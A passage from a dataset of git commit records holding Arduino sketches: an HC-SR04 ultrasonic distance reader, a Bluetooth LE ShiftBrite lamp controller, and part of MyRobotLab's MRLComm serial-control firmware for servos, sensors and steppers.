int x = 0;\nvolatile unsigned int y = 0;\n\nint distancex ;\nint distancey ;\n\nvoid setup() {\n Serial.begin (38400);\n pinMode(Trig_pin, OUTPUT);\n pinMode(2, INPUT_PULLUP);\n pinMode(3, INPUT_PULLUP);\n}\n\nvoid check_distance() {\n x = 0 ;\n y = 0 ;\n\n for ( int i = 0 ; i < 2 ; i++ ) {\n echoBufferx[i] = 0;\n echoBuffery[i] = 0;\n }\n\n attachInterrupt(0, echo1_Interrupt_Handler, CHANGE);\n attachInterrupt(1, echo2_Interrupt_Handler, CHANGE);\n\n delay(200);\n\n digitalWrite(Trig_pin, LOW);\n delayMicroseconds(2);\n digitalWrite(Trig_pin, HIGH);\n delayMicroseconds(10);\n digitalWrite(Trig_pin, LOW);\n \n delay(300);\n\n\/*\n Serial.println( echoBufferx[0] );\n Serial.println( echoBufferx[1] );\n*\/\n\n if ( echoBufferx[1] > echoBufferx[0] ) {\n distancex = ( echoBufferx[1] - echoBufferx[0] ) \/ 29 \/ 2 ;\n } else {\n distancex = 0 ;\n }\n\n if ( echoBuffery[1] > echoBuffery[0] ) {\n distancey = ( echoBuffery[1] - echoBuffery[0] ) \/ 29 \/ 2 ;\n } else {\n distancey = 0;\n }\n\n detachInterrupt(0);\n detachInterrupt(1);\n}\n\nvoid loop() {\n\n check_distance(); \n \n Serial.print(\"distance X : \");\n Serial.print(distancex);\n Serial.print(\" : distance Y : \");\n Serial.println(distancey);\n\n delay(1000); \/\/ pause 5 secs\n}\n\n\nvoid echo1_Interrupt_Handler() {\n echoBufferx[x++] = micros();\n}\n\nvoid echo2_Interrupt_Handler() {\n echoBuffery[y++] = micros();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_08_hc-sr04\/_08_hc-sr04.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"7e06e9a48d9b20489f79b7bd3e7e21834c13eb9a","subject":"Create BLEBriteLamp.ino","message":"Create BLEBriteLamp.ino","repos":"kamorris\/BLEBriteLamp","old_file":"BLEBriteLamp.ino","new_file":"BLEBriteLamp.ino","new_contents":"\/*\nCopyright (c) Kate Morris, 2015.\n\nUses Bluetooth Low Energy and Arduino to drive a chain of Shiftbrites - see http:\/\/docs.macetech.com\/doku.php\/shiftbrite_2.0\nEarlier generation Shiftbrites also work, and mixed chains are possible. Works with the BriteLamp iOS app, soon to be available on the AppStore (free).\n\nRequired:\n\n1) ShiftBrite library from https:\/\/github.com\/Phara0h\/ShiftBrite\n\n2) Nordic Semiconductor library from https:\/\/github.com\/NordicSemiconductor\/ble-sdk-arduino\n\n3) BLE library from https:\/\/github.com\/RedBearLab\/nRF8001\n\nThe code below is based on code provided by RedBearLab. Their original copyright notice is below.\n\nPortions Copyright (c) 2012, 2013 RedBearLab\n \n Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software \n without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to permit\n persons to whom the Software is furnished to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION \n OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n \n *\/\n\n#include <ShiftBrite.h>\n#include <SPI.h>\n#include <boards.h>\n#include <RBL_nRF8001.h>\n\n#define PROTOCOL_MAJOR_VERSION 0 \/\/\n#define PROTOCOL_MINOR_VERSION 0 \/\/\n#define PROTOCOL_BUGFIX_VERSION 2 \/\/ bugfix\n\n\/\/ Note: the blend micro uses pins 6 and 7 for bluetooth; the blend uses 8 \/ 9. Adjust these as needed.\n\/\/ standard colors on the Shiftbrite cables are D: white, L: blue, E: green, C: yellow.\n#define DATA_PIN 5\n#define LATCH_PIN 10\n#define ENABLE_PIN 11\n#define CLOCK_PIN 12\n\n#define MAX_COLORS 20\n#define RED_IDX 0\n#define GREEN_IDX 1\n#define BLUE_IDX 2\n\nShiftBrite shift(DATA_PIN, LATCH_PIN, ENABLE_PIN, CLOCK_PIN);\nbyte colors[MAX_COLORS][3]; \/\/ longest chain\nint delayMillis;\nint lightCount;\nint currentColor;\n\nvoid setup()\n{\n Serial.begin(57600);\n Serial.println(\"BLE BriteLamp\");\n\n ble_set_name(\"BriteLamp\");\n currentColor = -1;\n lightCount = 0;\n\n \/\/ Init. and start BLE library.\n ble_begin();\n}\n\nstatic byte buf_len = 0;\n\nvoid ble_write_string(byte *bytes, uint8_t len)\n{\n if (buf_len + len > 20)\n {\n for (int j = 0; j < 15000; j++)\n ble_do_events();\n\n buf_len = 0;\n }\n\n for (int j = 0; j < len; j++)\n {\n ble_write(bytes[j]);\n buf_len++;\n }\n\n if (buf_len == 20)\n {\n for (int j = 0; j < 15000; j++)\n ble_do_events();\n\n buf_len = 0;\n } \n}\n\n\/\/ not using this but it could be useful so I am keeping for now.\nvoid sendCustomData(uint8_t *buf, uint8_t len)\n{\n uint8_t data[20] = \"Z\";\n memcpy(&data[1], buf, len);\n ble_write_string(data, len+1);\n}\n\nvoid readColors(int start, int readCount) {\n for (byte i = start; i < readCount + start; ++i) {\n colors[i][RED_IDX] = ble_read();\n colors[i][GREEN_IDX] = ble_read();\n colors[i][BLUE_IDX] = ble_read();\n\/\/ Serial.print(\"read color \"); \n\/\/ Serial.print(\"#\");\n\/\/ Serial.print( colors[i][RED_IDX], HEX);\n\/\/ Serial.print(\"#\"); \n\/\/ Serial.print(colors[i][GREEN_IDX], HEX); \n\/\/ Serial.print(\"#\"); \n\/\/ Serial.println(colors[i][BLUE_IDX], HEX);\n }\n}\nvoid loop()\n{\n if(ble_available())\n {\n byte cmd;\n cmd = ble_read();\n Serial.write(cmd);\n\n \/\/ Parse data here\n switch (cmd)\n {\n case 'V': \/\/ query protocol version\n {\n byte buf[] = {\n 'V', 0x00, 0x00, 0x01 };\n ble_write_string(buf, 4);\n }\n break;\n case 'C': \n {\n \/\/ continuation\n unsigned int readCount = (unsigned int)ble_read(); \/\/ byte is the number of lights Needs to be <= 5, empirically\n if (readCount + lightCount >= MAX_COLORS) {\n Serial.println(\"too many colors!\");\n break;\n }\n\/\/ Serial.print(\"There are \"); \n\/\/ Serial.print((int)readCount); \n\/\/ Serial.println(\" colors\");\n readColors(lightCount, readCount);\n lightCount += readCount;\n }\n break;\n\n case 'L': \/\/ reading the command string.\n {\n lightCount = (unsigned int)ble_read(); \/\/ byte is the number of lights Needs to be <= 5, empirically?\n if (lightCount >= MAX_COLORS) {\n Serial.println(\"too many colors!\");\n break;\n }\n\/\/ Serial.print(\"There are \"); \n\/\/ Serial.print((int)lightCount); \n\/\/ Serial.println(\" colors\");\n byte speed = ble_read();\n if (speed == 0) {\n delayMillis = 1000; \/\/ millisecond delay; default 1 second\n }\n else {\n delayMillis = speed * 100;\n }\n currentColor = 0;\n\/\/ Serial.print(\"Delay is \"); \n\/\/ Serial.print( (int)speed); \n\/\/ Serial.println(\".\");\n readColors(0, lightCount);\n break;\n }\n default:\n Serial.print(cmd); Serial.println(\" was read, and I don't know what to do\"); \/\/ should never see this message.\n }\n\n \/\/ send out any outstanding data\n ble_do_events();\n buf_len = 0;\n\n return; \/\/ only do this task in this loop\n }\n\n \/\/ no input or commands, so go ahead and send colors\n \/\/ just set the first one.\n \/\/ ShiftBrite.\n\n if (currentColor != -1) {\n if (currentColor == lightCount)\n currentColor = 0;\n\/\/ Serial.print(\"Updating color \"); \n\/\/ Serial.print(currentColor + 1); \n\/\/ Serial.println(\" \");\n\n shift.sendColor((unsigned long)colors[currentColor][RED_IDX], (unsigned long)colors[currentColor][GREEN_IDX], (unsigned long)colors[currentColor][BLUE_IDX]);\n currentColor++;\n delay(delayMillis);\n }\n\n \/\/ No input data, no commands, process analog data\n if (!ble_connected()) {\n ble_do_events();\n return; \n }\n\n ble_do_events();\n buf_len = 0;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BLEBriteLamp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d608cd44dbb67597ca0ed8bc270afff1df02fbcb","subject":"MRLComm version 21","message":"MRLComm version 21","repos":"lanchun\/myrobotlab,MyRobotLab\/myrobotlab,robojukie\/myrobotlab,MyRobotLab\/myrobotlab,robojukie\/myrobotlab,lanchun\/myrobotlab,robojukie\/myrobotlab,MyRobotLab\/myrobotlab,MyRobotLab\/myrobotlab,MyRobotLab\/myrobotlab,MyRobotLab\/myrobotlab,MyRobotLab\/myrobotlab,lanchun\/myrobotlab","old_file":"src\/resource\/Arduino\/MRLComm2.ino","new_file":"src\/resource\/Arduino\/MRLComm2.ino","new_contents":"\/**\n*\n* @author GroG (at) myrobotlab.org\n*\n* This file is part of MyRobotLab.\n*\n* Enjoy !\n*\n* MRLComm.ino\n* -----------------\n* Purpose: support servos, sensors, analog & digital polling\n* oscope, motors, range sensors, pingdar & steppers.\n*\n* Requirements: MyRobotLab running on a computer & a serial connection\n*\n*\/\n\n#include <Servo.h>\n#define MRLCOMM_VERSION\t\t\t\t21\n\n\/\/ serial protocol functions\n#define MAGIC_NUMBER \t\t\t\t\t170 \/\/ 10101010\n\n\/\/ ----- MRLCOMM FUNCTION GENERATED INTERFACE BEGIN -----------\n\/\/\/\/\/ INO GENERATED DEFINITION BEGIN \/\/\/\/\/\/\n\/\/ {publishMRLCommError Integer} \n#define PUBLISH_MRLCOMM_ERROR\t\t1\n\n\/\/ {getVersion} \n#define GET_VERSION\t\t2\n\n\/\/ {publishVersion Integer} \n#define PUBLISH_VERSION\t\t3\n\n\/\/ {analogReadPollingStart Integer} \n#define ANALOG_READ_POLLING_START\t\t4\n\n\/\/ {analogReadPollingStop Integer} \n#define ANALOG_READ_POLLING_STOP\t\t5\n\n\/\/ {analogWrite Integer Integer} \n#define ANALOG_WRITE\t\t6\n\n\/\/ {digitalReadPollingStart Integer} \n#define DIGITAL_READ_POLLING_START\t\t7\n\n\/\/ {digitalReadPollingStop Integer} \n#define DIGITAL_READ_POLLING_STOP\t\t8\n\n\/\/ {digitalWrite Integer Integer} \n#define DIGITAL_WRITE\t\t9\n\n\/\/ {motorAttach String String Integer Integer Integer} \n#define MOTOR_ATTACH\t\t10\n\n\/\/ {motorDetach String} \n#define MOTOR_DETACH\t\t11\n\n\/\/ {motorMove String} \n#define MOTOR_MOVE\t\t12\n\n\/\/ {motorMoveTo String double} \n#define MOTOR_MOVE_TO\t\t13\n\n\/\/ {pinMode Integer Integer} \n#define PIN_MODE\t\t14\n\n\/\/ {publishCustomMsg Integer} \n#define PUBLISH_CUSTOM_MSG\t\t15\n\n\/\/ {publishLoadTimingEvent Long} \n#define PUBLISH_LOAD_TIMING_EVENT\t\t16\n\n\/\/ {publishPin Pin} \n#define PUBLISH_PIN\t\t17\n\n\/\/ {publishPulse Integer} \n#define PUBLISH_PULSE\t\t18\n\n\/\/ {publishServoEvent Integer} \n#define PUBLISH_SERVO_EVENT\t\t19\n\n\/\/ {publishSesorData SensorData} \n#define PUBLISH_SESOR_DATA\t\t20\n\n\/\/ {publishStepperEvent StepperData} \n#define PUBLISH_STEPPER_EVENT\t\t21\n\n\/\/ {publishTrigger Pin} \n#define PUBLISH_TRIGGER\t\t22\n\n\/\/ {pulseIn int int int String} \n#define PULSE_IN\t\t23\n\n\/\/ {sensorAttach String} \n#define SENSOR_ATTACH\t\t24\n\n\/\/ {sensorPollingStart String int} \n#define SENSOR_POLLING_START\t\t25\n\n\/\/ {sensorPollingStop String} \n#define SENSOR_POLLING_STOP\t\t26\n\n\/\/ {servoAttach Servo Integer} \n#define SERVO_ATTACH\t\t27\n\n\/\/ {servoDetach Servo} \n#define SERVO_DETACH\t\t28\n\n\/\/ {servoSweepStart String int int int} \n#define SERVO_SWEEP_START\t\t29\n\n\/\/ {servoSweepStop String} \n#define SERVO_SWEEP_STOP\t\t30\n\n\/\/ {servoWrite String Integer} \n#define SERVO_WRITE\t\t31\n\n\/\/ {servoWriteMicroseconds String Integer} \n#define SERVO_WRITE_MICROSECONDS\t\t32\n\n\/\/ {setDebounce int} \n#define SET_DEBOUNCE\t\t33\n\n\/\/ {setDigitalTriggerOnly Boolean} \n#define SET_DIGITAL_TRIGGER_ONLY\t\t34\n\n\/\/ {setLoadTimingEnabled boolean} \n#define SET_LOAD_TIMING_ENABLED\t\t35\n\n\/\/ {setPWMFrequency Integer Integer} \n#define SET_PWMFREQUENCY\t\t36\n\n\/\/ {setSampleRate int} \n#define SET_SAMPLE_RATE\t\t37\n\n\/\/ {setSerialRate int} \n#define SET_SERIAL_RATE\t\t38\n\n\/\/ {setServoEventsEnabled String boolean} \n#define SET_SERVO_EVENTS_ENABLED\t\t39\n\n\/\/ {setServoSpeed String Float} \n#define SET_SERVO_SPEED\t\t40\n\n\/\/ {setStepperSpeed Integer} \n#define SET_STEPPER_SPEED\t\t41\n\n\/\/ {setTrigger int int int} \n#define SET_TRIGGER\t\t42\n\n\/\/ {softReset} \n#define SOFT_RESET\t\t43\n\n\/\/ {stepperAttach StepperControl} \n#define STEPPER_ATTACH\t\t44\n\n\/\/ {stepperDetach String} \n#define STEPPER_DETACH\t\t45\n\n\/\/ {stepperMove String Integer} \n#define STEPPER_MOVE\t\t46\n\n\/\/ {stepperReset String} \n#define STEPPER_RESET\t\t47\n\n\/\/ {stepperStep String Integer Integer} \n#define STEPPER_STEP\t\t48\n\n\/\/ {stepperStop String} \n#define STEPPER_STOP\t\t49\n\n\/\/ {stopService} \n#define STOP_SERVICE\t\t50\n\n\/\/\/\/\/ INO GENERATED DEFINITION END \/\/\/\/\/\/\n\n\/\/ ----- MRLCOMM FUNCTION GENERATED INTERFACE END -----------\n\n\n#define STEPPER_EVENT_STOP\t\t\t\t1\n\n#define STEPPER_TYPE_POLOLU \t\t\t1\n\n#define CUSTOM_MSG\t\t\t\t\t\t50\n\n\/\/ servo event types\n#define SERVO_EVENT_STOPPED\t\t\t1\n#define SERVO_EVENT_POSITION_UPDATE \t2\n\n\/\/ error types\n#define ERROR_SERIAL\t\t\t\t\t1\n#define ERROR_UNKOWN_CMD\t\t\t\t2\n\n\/\/ sensor types\n#define SENSOR_ULTRASONIC\t\t\t\t1\n\n\n\/\/ need a method to identify type of board\n\/\/ http:\/\/forum.arduino.cc\/index.php?topic=100557.0\n\n#define COMMUNICATION_RESET\t 252\n#define SOFT_RESET\t\t\t 253\n#define NOP 255\n\n\/\/ ---------- MRLCOMM FUNCTION INTERFACE END -----------\n\n\/\/ MAX definitions\n\/\/ MAX_SERVOS defined by boardtype\/library\n#define PINGDARS_MAX\t\t6\n#define SENSORS_MAX\t\t\t12\n#define STEPPERS_MAX\t\t6\n\n#define MAX_MOTORS 10\n\n#define ECHO_STATE_START 1\n#define ECHO_STATE_TRIG_PULSE_BEGIN 2\n#define ECHO_STATE_TRIG_PULSE_END 3\n#define ECHO_STATE_MIN_PAUSE_PRE_LISTENING 4\n#define ECHO_STATE_LISTENING 5\n#define ECHO_STATE_GOOD_RANGE\t6\n#define ECHO_STATE_TIMEOUT\t7\n\n\/\/ --VENDOR DEFINE SECTION BEGIN--\n\/\/ --VENDOR DEFINE SECTION END--\n\n\/\/ FIXME FIXME FIXME\n\/\/ -- FIXME - modified by board type BEGIN --\n\/\/ Need Arduino to do a hardware abstraction layer\n\/\/ https:\/\/code.google.com\/p\/arduino\/issues\/detail?id=59\n\/\/ AHAAA !! - many defintions in - pins_arduino.h !!!\n\/\/ Need a \"board\" identifier at least !!!\n\n#define ANALOG_PIN_COUNT 16 \/\/ mega\n#define DIGITAL_PIN_COUNT 54 \/\/ mega\n\/\/ #define MAX_SERVOS 48 - is defined @ compile time !!\n\/\/ -- FIXME - modified by board type END --\n\n#define ARDUINO_TYPE_INT 16; \/\/ :) type identifier - not size - but what the hell ;)\n\n\/*\n* TODO - CRC for last byte\n* getCommand - retrieves a command message\n* inbound and outbound messages are the same format, the following represents a basic message\n* format\n*\n* MAGIC_NUMBER|NUM_BYTES|FUNCTION|DATA0|DATA1|....|DATA(N)\n* NUM_BYTES - is the number of bytes after NUM_BYTES to the end\n*\n*\/\n\nint msgSize = 0; \/\/ the NUM_BYTES of current message\n\nunsigned int debounceDelay = 50; \/\/ in ms\nlong lastDebounceTime[DIGITAL_PIN_COUNT];\nbyte msgBuf[64];\n\ntypedef struct\n {\n int type;\n int trigPin;\n int echoPin;\n bool isRunning;\n int timeoutUS;\n unsigned long ts;\n unsigned long lastValue;\n int state;\n \/\/NewPing* ping;\n } sensor_type;\n\nsensor_type sensors[SENSORS_MAX];\n\ntypedef struct\n {\n \t int ts;\n int type;\n int index;\n int currentPos;\n int targetPos;\n int speed;\n int dir;\n bool isRunning;\n int state;\n \/\/ int dirPin;\n int step0; \/\/ step0 is dirPin is POLOLU TYPE\n int step1;\n int step2;\n int step3;\n } stepper_type;\n\nstepper_type steppers[STEPPERS_MAX];\n\n\/\/ Servos\ntypedef struct\n{\n Servo* servo;\n int index; \/\/ index of this servo\n int speed;\n int targetPos;\n int currentPos;\n bool isMoving;\n\n int step; \/\/ affects speed usually 1\n\n \/\/ sweep related\n int min;\n int max;\n \/\/ int delay; - related to speed\n int increment;\n bool isSweeping;\n\n \/\/ event related\n bool eventsEnabled;\n} servo_type;\n\n\nservo_type servos[MAX_SERVOS];\n\n\/\/ Motors\ntypedef struct\n{\n int index; \/\/ index of this motor\n int speed;\n int targetPos;\n int currentPos;\n bool isMoving;\n\n int step; \/\/ affects speed usually 1\n\n \/\/ sweep related\n int min;\n int max;\n \/\/ int delay; - related to speed\n int increment;\n bool isSweeping;\n\n \/\/ event related\n bool eventsEnabled;\n} motor_type;\n\nmotor_type motors[MAX_MOTORS];\n\nunsigned long loopCount = 0;\nunsigned long lastMicros \t= 0;\nint byteCount = 0;\nunsigned char newByte \t\t= 0;\nunsigned char ioCmd[64]; \/\/ message buffer for all inbound messages\nint readValue;\n\n\/\/ FIXME - normalize with sampleRate ..\nint loadTimingModulus = 1000;\n\nboolean loadTimingEnabled = false;\nunsigned long loadTime = 0;\n\/\/ TODO - avg load time\n\nunsigned int sampleRate = 1; \/\/ 1 - 65,535 modulus of the loopcount - allowing you to sample less\n\nint digitalReadPin[DIGITAL_PIN_COUNT]; \/\/ array of pins to read from\nint digitalReadPollingPinCount = 0; \/\/ number of pins currently reading\nint lastDigitalInputValue[DIGITAL_PIN_COUNT]; \/\/ array of last input values\nbool digitalTriggerOnly\t= false; \/\/ send data back only if its different\n\nint analogReadPin[ANALOG_PIN_COUNT]; \/\/ array of pins to read from\nint analogReadPollingPinCount = 0; \/\/ number of pins currently reading\nint lastAnalogInputValue[ANALOG_PIN_COUNT]; \/\/ array of last input values\nbool analogTriggerOnly = false; \/\/ send data back only if its different\n\nunsigned int errorCount = 0;\n\n\/\/---- data record definitions begin -----\n\n\n\/\/ TODO - all well and good .. but you dont control Servo's data (yet)\n\/\/ should have a struct for it too - contains all the data info you'd want to have\n\/\/ in a servo - same with stepper\n\ntypedef struct\n {\n int servoIndex; \/\/ id of servo in servos array\n \/\/int servoPos; in servo\n int sensorIndex;\n int sweepMin;\n int sweepMax;\n int step;\n bool isRunning; \/\/ needed ? - is combo of two\n } pingdar_type;\n\npingdar_type pingdars[PINGDARS_MAX];\n\/\/===custom msg interface begin===\n\tbyte customParams[256];\n\tint paramBuffIndex;\n\tint paramCnt;\n\/\/===custom msg interface end===\n\n\n\/* could optimize - but makes for ugly code - just to save a couple clock cycles - counting to 6 :P\nnot worth it\nint pingdarsRunningCount = 0;\nint pingdarsRunning[6]; \/\/ map array of running pingdars\n*\/\n\nvoid sendServoEvent(servo_type& s, int eventType);\nunsigned long getUltrasonicRange(sensor_type& sensor);\n\/\/ void sendMsg ( int num, ... );\n\n\/\/---- data record definitions end -----\n\nvoid append(const int& data) {\n\t++paramCnt;\n\tcustomParams[paramBuffIndex] = ARDUINO_TYPE_INT;\n\tcustomParams[++paramBuffIndex] = (byte)(data >> 8);\n\tcustomParams[++paramBuffIndex] = ((byte) data & 0xFF);\n\t++paramBuffIndex;\n}\n\nvoid startMsg() {\n}\n\nvoid setup() {\n\tSerial.begin(57600); \/\/ connect to the serial port\n\n\tsoftReset();\n\n\t\/\/ --VENDOR SETUP BEGIN--\n\t\/\/ --VENDOR SETUP END--\n}\n\n\nvoid sendMsg(){\n\n\t\/\/ unbox\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(paramBuffIndex + 2); \/\/ = param buff size + FN + paramCnt\n\t\/\/Serial.write(2); \/\/ = param buff size + FN + paramCnt\n\tSerial.write(CUSTOM_MSG);\n\tSerial.write(paramCnt);\n\n\tfor (int i = 0; i < paramBuffIndex; ++i){\n\t\tSerial.write(customParams[i]);\n\t}\n\n\tparamCnt = 0;\n\tparamBuffIndex = 0;\n}\n\n\n\nvoid softReset()\n{\n\tfor (int i = 0; i < MAX_SERVOS - 1; ++i)\n\t{\n servo_type& s = servos[i];\n\t\ts.speed = 100;\n if (s.servo != 0){\n\t\t s.servo->detach();\n }\n\t}\n\n\tfor (int j = 0; j < DIGITAL_PIN_COUNT - 1; ++j)\n\t{\n\t\tpinMode(j, OUTPUT);\n\t}\n\n\n\tdigitalReadPollingPinCount = 0;\n\tanalogReadPollingPinCount = 0;\n\tloopCount = 0;\n\n}\n\nvoid setPWMFrequency (int address, int prescalar)\n{\n\tint clearBits = 0x07;\n\tif (address == 0x25)\n\t{\n\t\tTCCR0B &= ~clearBits;\n\t\tTCCR0B |= prescalar;\n\t} else if (address == 0x2E)\n\t{\n\t\tTCCR1B &= ~clearBits;\n\t\tTCCR1B |= prescalar;\n\t} else if (address == 0xA1)\n\t{\n\t\tTCCR2B &= ~clearBits;\n\t\tTCCR2B |= prescalar;\n\t}\n\n}\n\nvoid removeAndShift (int array [], int& len, int removeValue)\n{\n\tint pos = -1;\n\n\tif (len == 0)\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ find position of value\n\tfor (int i = 0; i < len; ++i)\n\t{\n\t\tif (removeValue == array[i])\n\t\t{\n\t\t\tpos = i;\n\t\t\tbreak;\n\t\t}\n\t}\n\t\/\/ if at the end just decrement size\n\tif (pos == len - 1)\n\t{\n\t\t--len;\n\t\treturn;\n\t}\n\n\t\/\/ if found somewhere else shift left\n\tif (pos < len && pos > -1)\n\t{\n\t\tfor (int j = pos; j < len - 1; ++j)\n\t\t{\n\t\t\tarray[j] = array[j+1];\n\t\t}\n\t\t--len;\n\t}\n}\n\nboolean getCommand ()\n{\n\t\/\/ handle serial data begin\n\tif (Serial.available() > 0)\n\t{\n\t\t\/\/ read the incoming byte:\n\t\tnewByte = Serial.read();\n\t\t++byteCount;\n\n\t\t\/\/ checking first byte - beginning of message?\n\t\tif (byteCount == 1 && newByte != MAGIC_NUMBER)\n\t\t{\n\t\t\t++errorCount;\n\t\t\tsendError(ERROR_SERIAL);\n\n\t\t\t\/\/ reset - try again\n\t\t\tbyteCount = 0;\n\t\t\treturn false;\n\t\t}\n\n\t\tif (byteCount == 2)\n\t\t{\n\t\t \/\/ get the size of message\n\t\t \/\/ todo check msg < 64 (MAX_MSG_SIZE)\n\t\t msgSize = newByte;\n\t\t}\n\n\t\tif (byteCount > 2) {\n\t\t \/\/ fill in msg data - (2) headbytes -1 (offset)\n\t\t ioCmd[byteCount - 3] = newByte;\n\t\t}\n\n\t\t\/\/ if received header + msg\n\t\tif (byteCount == 2 + msgSize)\n\t\t{\n return true;\n\t\t}\n\t} \/\/ if Serial.available\n\n\treturn false;\n}\n\nvoid loop () {\n\n\t++loopCount;\n\n\tif (getCommand())\n\t{\n\t\tswitch (ioCmd[0])\n\t\t{\n\n\t\tcase DIGITAL_WRITE:{\n\t\t\tdigitalWrite(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_WRITE:{\n\t\t\tanalogWrite(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase PIN_MODE:{\n\t\t\tpinMode(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_ATTACH:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.index = ioCmd[1];\n\t\t\tif (s.servo == NULL){\n\t\t\t\ts.servo = new Servo();\n\t\t\t}\n\t\t\ts.servo->attach(ioCmd[2]);\n\t\t\ts.step = 1;\n\t\t\ts.eventsEnabled = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_SWEEP_START:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.min = ioCmd[2];\n\t\t\ts.max = ioCmd[3];\n\t\t\ts.step = ioCmd[4];\n\t\t\ts.isMoving = true;\n\t\t\ts.isSweeping = true;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_SWEEP_STOP:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.isMoving = false;\n\t\t\ts.isSweeping = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_WRITE:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.speed == 100 && s.servo != 0)\/\/ move at regular\/full 100% speed\n\t\t\t{\n\t\t\t\ts.targetPos = ioCmd[2];\n\t\t\t\ts.currentPos = ioCmd[2];\n\t\t\t\ts.isMoving = false;\n\t\t\t\ts.servo->write(ioCmd[2]);\n\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_STOPPED);\n\t\t\t} else if (s.speed < 100 && s.speed > 0) {\n\t\t\t\ts.targetPos = ioCmd[2];\n\t\t\t\ts.isMoving = true;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase PUBLISH_SERVO_EVENT:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.eventsEnabled = ioCmd[2];\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_LOAD_TIMING_ENABLED:{\n\t\t\tloadTimingEnabled = ioCmd[1];\n\t\t\t\/\/loadTimingModulus = ioCmd[2];\n\t\t\tloadTimingModulus = 1000;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_WRITE_MICROSECONDS:{\n\t\t\t\/\/ TODO - incorporate into speed control etc\n\t\t\t\/\/ normalize - currently by itself doesn't effect events\n\t\t\t\/\/ nor is it involved in speed control\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.servo != 0) {\n\t\t\t\t\/\/ 1500 midpoint\n\t\t\t\ts.servo->writeMicroseconds(ioCmd[2]);\n\t\t\t}\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_SERVO_SPEED:{\n\t\t\t\/\/ setting the speed of a servo\n\t\t\tservo_type& servo = servos[ioCmd[1]];\n\t\t\tservo.speed = ioCmd[2];\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_DETACH:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.servo != 0){\n\t\t\t s.servo->detach();\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_PWMFREQUENCY:{\n\t\t\tsetPWMFrequency (ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_READ_POLLING_START:{\n\t\t\tanalogReadPin[analogReadPollingPinCount] = ioCmd[1]; \/\/ put on polling read list\n\t\t\t\/\/ TODO - if POLLING ALREADY DON'T RE-ADD - MAKE RE-ENTRANT - if already set don't increment\n\t\t\t++analogReadPollingPinCount;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_READ_POLLING_STOP:{\n\t\t\t\/\/ TODO - MAKE RE-ENRANT\n\t\t\tremoveAndShift(analogReadPin, analogReadPollingPinCount, ioCmd[1]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_READ_POLLING_START:{\n\t\t\t\/\/ TODO - MAKE RE-ENRANT\n\t\t\tdigitalReadPin[digitalReadPollingPinCount] = ioCmd[1]; \/\/ put on polling read list\n\t\t\t++digitalReadPollingPinCount;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_READ_POLLING_STOP:{\n\t\t\t\/\/ TODO - MAKE RE-ENRANT\n\t\t\tremoveAndShift(digitalReadPin, digitalReadPollingPinCount, ioCmd[1]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_TRIGGER:{\n \/\/ FIXME !!! - you need 1. a complete pin list !!! analog & digital should be defined by attribute not\n \/\/ data structure !!! if (pin.type == ??? if needed\n\t\t\t\/\/ TODO - if POLLING ALREADY DON'T RE-ADD - MAKE RE-ENTRANT\n\t\t\tanalogReadPin[analogReadPollingPinCount] = ioCmd[1]; \/\/ put on polling read list\n\t\t\t++analogReadPollingPinCount;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_DEBOUNCE:{\n\t\t\t\/\/ default debounceDelay = 50;\n\t\t\tdebounceDelay = ((ioCmd[1]<<8) + ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_DIGITAL_TRIGGER_ONLY:{\n\t\t\tdigitalTriggerOnly = ioCmd[1];\n\t\t\tbreak;\n }\n\n\t\tcase 